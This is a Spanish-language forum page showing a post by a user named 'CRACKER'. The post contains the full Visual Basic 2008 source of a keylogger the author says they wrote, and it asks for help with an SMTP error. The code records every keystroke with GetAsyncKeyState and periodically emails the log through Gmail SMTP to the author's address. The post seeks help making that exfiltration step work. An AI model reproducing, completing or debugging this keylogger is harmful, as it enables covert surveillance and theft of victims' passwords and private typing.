Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - CRACKER

#1
Hola a todos, necesito vuestra ayudaporfavor. Llevo ya un par de dias intentandolo de todas las formas posibles y esque no hay manera! D:
Se trata de un keylogger hecho por mi en visual basic 2008. Cojer las pulsaciones y etc. lo hace perfecto, el problema esta en el ultimo paso, al enviar el email. El codigo es este:

Imports System.Web
Imports You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Imports System.Net.Mail
Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0

            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i
    End Sub
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "mi contraseña ")
        SmtpServer.Port = 587
        You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        SmtpServer.EnableSsl = True
        mail.To.Add("[email protected]")
        mail.From = New MailAddress("[email protected]")
        mail.Subject = "Universal Keylogger"
        mail.Body = TextBox1.Text
        SmtpServer.Send(mail)
    End Sub
End Class

Ese es el code, pero a la hora de enviar el email me dice esto:
"No se controló SmtpException" "Error al enviar correo" y me marca en amarillo la parte "SmtpServer.Send(mail)"

porfavor alguna ayuda :S?

gracias de antemano!


PD: k tonto fui k sin kerer puse mi contraseña y uno me la cambio x) pero ya la he recuperado xD